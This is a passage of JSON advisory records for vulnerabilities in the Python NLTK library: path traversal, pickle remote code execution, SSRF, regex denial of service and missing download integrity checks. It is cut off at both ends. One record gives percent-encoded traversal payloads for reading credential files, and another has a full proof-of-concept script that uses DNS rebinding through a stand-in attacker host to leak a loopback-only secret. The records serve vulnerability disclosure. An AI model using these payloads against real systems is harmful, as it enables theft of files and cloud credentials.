application.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-08T16:35:51.000Z","classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-568f-pv23-39p4","https://nvd.nist.gov/vuln/detail/CVE-2026-62385","https://www.vulncheck.com/advisories/nltk-path-traversal-via-framenet-and-nkjp-readers","https://github.com/advisories/GHSA-qp76-pq9f-gr9m"],"source_kind":"github","identifiers":["GHSA-qp76-pq9f-gr9m"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-12T21:00:14.845Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcDc2LXBxOWYtZ3I5bc4ABlGV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcDc2LXBxOWYtZ3I5bc4ABlGV","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcDc2LXBxOWYtZ3I5bc4ABlGV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Z2gyLTk0cWctcXBwcc4ABlGD","url":"https://github.com/advisories/GHSA-5gh2-94qg-qppq","title":"NLTK AllowlistUnpickler dotted-name validation bypass allows remote code execution","description":"NLTK before 3.10.3 contains a remote code execution vulnerability in AllowlistUnpickler that validates only the pickle module string and not the global name, allowing attackers to resolve dotted names by attribute traversal to callables outside the allowlisted namespace. Attackers can craft untrusted transition-parser models that execute arbitrary commands when TransitionParser.parse loads the model through allowlisted_pickle_load.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-71513","https://github.com/nltk/nltk/commit/c3e37113742a1ebeeb4f2ca58941f320f98805ea","https://github.com/nltk/nltk/blob/v3.10.2/nltk/picklesec.py#L119-L124","https://www.vulncheck.com/advisories/nltk-through-remote-code-execution-via-allowlistunpickler-dotted-name-bypass","https://github.com/advisories/GHSA-5gh2-94qg-qppq"],"source_kind":"github","identifiers":["GHSA-5gh2-94qg-qppq","CVE-2026-71513"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.328Z","updated_at":"2026-09-25T12:00:42.755Z","epss_percentage":0.01097,"epss_percentile":0.64123,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2gyLTk0cWctcXBwcc4ABlGD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Z2gyLTk0cWctcXBwcc4ABlGD","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003e= 3.10.0, \u003c 3.10.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2gyLTk0cWctcXBwcc4ABlGD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZjMyLWNtamgtOG05ds4ABlGN","url":"https://github.com/advisories/GHSA-gf32-cmjh-8m9v","title":"Duplicate Advisory: NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-5wp5-5229-5g6q. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.9.3 fails to verify file integrity after downloading packages and before extraction in the downloader module. Attackers can perform man-in-the-middle attacks or DNS poisoning to inject malicious package contents that are extracted without validation.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-09T16:33:54.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-5wp5-5229-5g6q","https://nvd.nist.gov/vuln/detail/CVE-2026-63310","https://www.vulncheck.com/advisories/nltk-before-missing-post-download-integrity-verification","https://github.com/advisories/GHSA-gf32-cmjh-8m9v"],"source_kind":"github","identifiers":["GHSA-gf32-cmjh-8m9v","CVE-2026-63310"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-09T17:00:08.681Z","updated_at":"2026-09-12T21:00:11.642Z","epss_percentage":0.00116,"epss_percentile":0.01793,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZjMyLWNtamgtOG05ds4ABlGN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZjMyLWNtamgtOG05ds4ABlGN","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZjMyLWNtamgtOG05ds4ABlGN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xZzlwLXhyaGotNDM1bc4ABlGU","url":"https://github.com/advisories/GHSA-qg9p-xrhj-435m","title":"Duplicate Advisory: nltk: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-3gqm-fcw5-w839. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 (affected versions \u003c= 3.9.4) contains a server-side request forgery (SSRF) vulnerability in the validate_network_url() function in nltk/pathsec.py. The _resolve_hostname() helper catches OSError and ValueError during socket.getaddrinfo() and returns an empty list; when DNS resolution fails, the validation loop executes no IP checks and the function fails open, allowing urlopen() to proceed without validation. An attacker who can trigger DNS resolution failures or use DNS rebinding can bypass SSRF protections and reach restricted network resources, including cloud metadata endpoints (e.g., 169.254.169.254).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T15:38:15.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3gqm-fcw5-w839","https://nvd.nist.gov/vuln/detail/CVE-2026-63311","https://www.vulncheck.com/advisories/nltk-before-ssrf-via-dns-resolution-failure","https://github.com/advisories/GHSA-qg9p-xrhj-435m"],"source_kind":"github","identifiers":["GHSA-qg9p-xrhj-435m"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.306Z","updated_at":"2026-09-03T07:00:08.984Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzlwLXhyaGotNDM1bc4ABlGU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xZzlwLXhyaGotNDM1bc4ABlGU","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzlwLXhyaGotNDM1bc4ABlGU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dmg1LW1namotdzZoZ84ABlGK","url":"https://github.com/advisories/GHSA-8vh5-mgjj-w6hg","title":"Duplicate Advisory: [CWE-1188] Default ENFORCE=False Disables All pathsec Security Controls","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-p3m8-78j2-g5p3. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.0 default to ENFORCE=False in pathsec.py, causing all security validation functions to emit warnings instead of raising exceptions. Attackers can bypass path traversal and pickle deserialization protections by exploiting the disabled security controls that are only active when manually enabled.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T15:40:08.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p3m8-78j2-g5p3","https://nvd.nist.gov/vuln/detail/CVE-2026-62388","https://www.vulncheck.com/advisories/nltk-before-insecure-default-configuration-pathsec","https://github.com/advisories/GHSA-8vh5-mgjj-w6hg"],"source_kind":"github","identifiers":["GHSA-8vh5-mgjj-w6hg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.306Z","updated_at":"2026-09-03T07:00:08.978Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmg1LW1namotdzZoZ84ABlGK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dmg1LW1namotdzZoZ84ABlGK","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmg1LW1namotdzZoZ84ABlGK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zNDNtLTlmcXEtOTdjN84ABlGI","url":"https://github.com/advisories/GHSA-343m-9fqq-97c7","title":"Duplicate Advisory: NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-3hhw-38pf-pxj6. This link is maintained to preserve external references.\n\n## Original Description\nnltk versions before 3.10.2 contain a symlink-based arbitrary file read vulnerability in IPIPANCorpusReader methods that bypass nltk.pathsec validation entirely. Attackers can place a symlink in the corpus root directory and read arbitrary files accessible to the process by calling channels(), domains(), categories(), or fileids() methods with the symlink filename.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T14:47:35.000Z","classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3hhw-38pf-pxj6","https://nvd.nist.gov/vuln/detail/CVE-2026-62383","https://www.vulncheck.com/advisories/nltk-ipipancorpusreader-symlink-arbitrary-file-read","https://github.com/advisories/GHSA-343m-9fqq-97c7"],"source_kind":"github","identifiers":["GHSA-343m-9fqq-97c7"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.207Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNDNtLTlmcXEtOTdjN84ABlGI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNDNtLTlmcXEtOTdjN84ABlGI","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.10.0, \u003c 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNDNtLTlmcXEtOTdjN84ABlGI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdjIyLWc3bXctOHY3M84ABlGE","url":"https://github.com/advisories/GHSA-cv22-g7mw-8v73","title":"NLTK CrubadanCorpusReader path traversal allows arbitrary file disclosure","description":"NLTK 3.9.4 through 3.10.2 contains a path traversal vulnerability in CrubadanCorpusReader. _load_lang_ngrams joins the corpus root with crubadan_code, the column-0 value read from the corpus table.txt mapping file, and opens the result with the builtin open() rather than the pathsec-validated opener, so os.path.join discards the root when that value is absolute and the read escapes the corpus directory without the containment check nltk.pathsec applies when ENFORCE is set. An attacker who controls a corpus package can disclose file contents outside the corpus root through lang_freq, limited to paths ending in -3grams.txt whose contents parse as token count lines.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-71514","https://github.com/nltk/nltk/commit/10d34b3f4fe3fec74b76527a409eb0acbac2e8ab","https://github.com/nltk/nltk","https://github.com/nltk/nltk/blob/v3.10.2/nltk/corpus/reader/crubadan.py#L90-L98","https://www.vulncheck.com/advisories/nltk-through-path-traversal-via-crubadancorpusreader-pathsec-bypass","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/advisories/GHSA-cv22-g7mw-8v73"],"source_kind":"github","identifiers":["GHSA-cv22-g7mw-8v73","CVE-2026-71514"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.328Z","updated_at":"2026-09-25T12:00:42.752Z","epss_percentage":0.00171,"epss_percentile":0.05729,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjIyLWc3bXctOHY3M84ABlGE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdjIyLWc3bXctOHY3M84ABlGE","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003e= 3.9.4, \u003c 3.10.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjIyLWc3bXctOHY3M84ABlGE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xeDJnLXhyeDctdmZoOM4ABlBI","url":"https://github.com/advisories/GHSA-qx2g-xrx7-vfh8","title":" NLTK TweetTokenizer vulnerable to denial of service through catastrophic regex backtracking","description":"The URLS regular expression in nltk/tokenize/casual.py, compiled into TweetTokenizer.WORD_RE and applied by TweetTokenizer.tokenize, contains a naked-domain branch whose domain-label prefix [a-z0-9]+(?:[.\\-][a-z0-9]+)* is unbounded. Input consisting of many alternating label separators can be partitioned in exponentially many ways, and because the branch also requires a trailing top-level domain that such input never supplies, the engine explores those partitions before failing at each offset. A few kilobytes of input therefore consumes seconds to minutes of single-threaded CPU, and the HANG_RE substitution performed before matching does not collapse the pattern. TweetTokenizer is intended for tokenizing untrusted social-media text, so any service that applies it, or the module-level casual_tokenize, to submitted text can be stalled per request without authentication. Version 3.10.1 bounds the label repetition.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-21T00:31:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-72818","https://github.com/nltk/nltk/issues/3704","https://github.com/nltk/nltk/blob/3.9.4/nltk/tokenize/casual.py","https://github.com/nltk/nltk/releases/tag/v3.10.1","https://www.vulncheck.com/advisories/nltk-tweettokenizer-url-pattern-backtracks-catastrophically-on-naked-domain-like-input","https://github.com/nltk/nltk/pull/3701","https://github.com/nltk/nltk/commit/e092ed52eccae642304448bffc8d23cb301f85c1","https://github.com/advisories/GHSA-qx2g-xrx7-vfh8"],"source_kind":"github","identifiers":["GHSA-qx2g-xrx7-vfh8","CVE-2026-72818"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.328Z","updated_at":"2026-09-25T12:00:42.756Z","epss_percentage":0.00742,"epss_percentile":0.52659,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xeDJnLXhyeDctdmZoOM4ABlBI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xeDJnLXhyeDctdmZoOM4ABlBI","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.1","vulnerable_version_range":"\u003c 3.10.1"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xeDJnLXhyeDctdmZoOM4ABlBI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi","url":"https://github.com/advisories/GHSA-m42h-3232-vpv3","title":"nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences","description":"# Summary\nnltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.\n\n# Vulnerable Code\nnltk/data.py - find() function:\n url2pathname() decodes %2e%2e -\u003e .. AFTER any safety check\np = os.path.join(path_, url2pathname(resource_name))\nif os.path.exists(p):\n    return FileSystemPathPointer(p)\n\n# Proof of Concept\nimport nltk.data\nnltk.data.path = [\"/home/user/nltk_data\"]\n%2e%2e decodes to .. via url2pathname(), escaping the data dir\ndata = nltk.data.load(\"%2e%2e/SECRET_credentials.txt\", format=\"raw\")\nprint(data)\n b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\\nDATABASE_PASS=hunter2\\n'\nAll of these bypass path checks and decode identically:\n\n# Payload\tAfter url2pathname()\n%2e%2e/secret\t../secret\n.%2e/secret\t../secret\n%2e./secret\t../secret\n%2E%2E/secret\t../secret\nRoot Cause\nurl2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.\n\n# Fix\nDecode before checking:\n\nfrom urllib.parse import unquote\nresource_name = unquote(resource_name)  # decode first, then validate\n\n# Impact\nAn attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-13T20:45:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3","https://nvd.nist.gov/vuln/detail/CVE-2026-12243","https://github.com/nltk/nltk/issues/3504","https://github.com/nltk/nltk/pull/3522","https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml","https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1","https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequences","https://github.com/advisories/GHSA-m42h-3232-vpv3"],"source_kind":"github","identifiers":["GHSA-m42h-3232-vpv3","CVE-2026-12243"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-13T21:00:08.851Z","updated_at":"2026-08-14T23:00:09.967Z","epss_percentage":0.00583,"epss_percentile":0.44528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c 3.10.0"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wdjM5LXFyZnEtZzhnY84ABhE-","url":"https://github.com/advisories/GHSA-pv39-qrfq-g8gc","title":"Duplicate Advisory: NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-5wp5-5229-5g6q. This link is maintained to preserve external references.\n\n## Original Description\nIn nltk version 3.9.4, the `nltk.downloader.Downloader._download_package()` function writes downloaded package bytes to disk and may extract them before enforcing SHA-256 or MD5 checksum validation. This allows an attacker to tamper with the package response body for `info.url` through a compromised mirror, malicious proxy, or other source-substitution condition, leading to the installation of attacker-controlled package bytes. The vulnerability can result in malicious corpus or model content being trusted by downstream users or applications.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-03T09:32:37.000Z","withdrawn_at":"2026-09-01T20:30:34.000Z","classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-12259","https://huntr.com/bounties/659ccf6d-12d4-4d4a-84c0-078633c35a5d","https://github.com/advisories/GHSA-pv39-qrfq-g8gc"],"source_kind":"github","identifiers":["GHSA-pv39-qrfq-g8gc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-03T07:00:13.338Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdjM5LXFyZnEtZzhnY84ABhE-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wdjM5LXFyZnEtZzhnY84ABhE-","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdjM5LXFyZnEtZzhnY84ABhE-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E","url":"https://github.com/advisories/GHSA-qvv7-cg9c-w4x3","title":"Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode","description":"### Summary\n`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.\n\n\n### Details\n`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:\n\n1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)\n2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)\n\n`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.\n\n\n### PoC\n```python\nimport socket\nimport threading\nimport warnings\nfrom collections import defaultdict\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nwarnings.filterwarnings(\"ignore\")\n\nimport nltk\nimport nltk.pathsec as ps\n\nps.ENFORCE = True  # the documented strict SSRF sandbox\n\nATTACKER_HOST = \"rebind.attacker.test\"   # attacker-controlled authoritative DNS\nPUBLIC_IP = \"93.184.216.34\"              # public address served for the validation lookup\nSECRET = b\"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS\"\n\n\n# --- A loopback-only \"internal service\" (stands in for 169.254.169.254 / admin UI) ---\nclass _Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(SECRET)))\n        self.end_headers()\n        self.wfile.write(SECRET)\n\n    def log_message(self, *a):\n        pass\n\n\ndef start_internal_server():\n    srv = HTTPServer((\"127.0.0.1\", 0), _Handler)\n    threading.Thread(target=srv.serve_forever, daemon=True).start()\n    return srv.server_address[1]  # ephemeral port\n\n\n# --- Model the TTL-0 rebinding record at the resolver layer ---\n_real_getaddrinfo = socket.getaddrinfo\n_lookups = defaultdict(int)\n\n\ndef _rebinding_getaddrinfo(host, port, *args, **kwargs):\n    if host == ATTACKER_HOST:\n        n = _lookups[host]\n        _lookups[host] += 1\n        ip = PUBLIC_IP if n == 0 else \"127.0.0.1\"   # 1st=public (validate), then loopback (connect)\n        p = port if isinstance(port, int) else 0\n        kind = \"VALIDATION -\u003e public\" if n == 0 else \"CONNECT    -\u003e loopback\"\n        print(f\"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})\")\n        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, \"\", (ip, p))]\n    return _real_getaddrinfo(host, port, *args, **kwargs)\n\n\ndef fetch(url):\n    with ps.urlopen(url, timeout=5) as r:\n        return r.read()\n\n\ndef main():\n    print(\"=\" * 62)\n    print(f\" NLTK pathsec DNS-rebinding SSRF bypass PoC\")\n    print(f\" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}\")\n    print(\"=\" * 62)\n\n    port = start_internal_server()\n    print(f\"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\\n\")\n\n    socket.getaddrinfo = _rebinding_getaddrinfo\n    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process\n    try:\n        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----\n        print(\"[1] CONTROL: direct loopback URL (filter must block this)\")\n        direct = f\"http://127.0.0.1:{port}/\"\n        try:\n            fetch(direct)\n            print(f\"    [?] unexpected: {direct} was NOT blocked\\n\")\n            control_ok = False\n        except PermissionError as e:\n            print(f\"    [OK] blocked -\u003e PermissionError: {e}\\n\")\n            control_ok = True\n\n        # ---- Attack: rebinding hostname bypasses the same filter ----\n        print(\"[2] ATTACK: rebinding hostname (public at validate, loopback at connect)\")\n        evil = f\"http://{ATTACKER_HOST}:{port}/\"\n        print(f\"    fetching {evil}\")\n        try:\n            body = fetch(evil)\n            leaked = SECRET in body\n            print(f\"    body returned to caller: {body!r}\")\n            if leaked:\n                print(\"\\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen\")\n                print(f\"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1\")\n                print(f\"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}\")\n                verdict = \"VULNERABLE\"\n            else:\n                print(\"\\n  [?] fetch succeeded but secret marker not present\")\n                verdict = \"INCONCLUSIVE\"\n        except PermissionError as e:\n            # Patched build: validate against the connect-time IP (or pin/resolve-once).\n            print(f\"\\n  [SAFE] blocked -\u003e PermissionError: {e}\")\n            verdict = \"NOT VULNERABLE\"\n    finally:\n        socket.getaddrinfo = _real_getaddrinfo\n\n    print(\"\\n\" + \"=\" * 62)\n    print(f\" Control (direct loopback blocked): {control_ok}\")\n    print(f\" Result: {verdict}   (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 62)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format=\"raw\"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.\n- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` 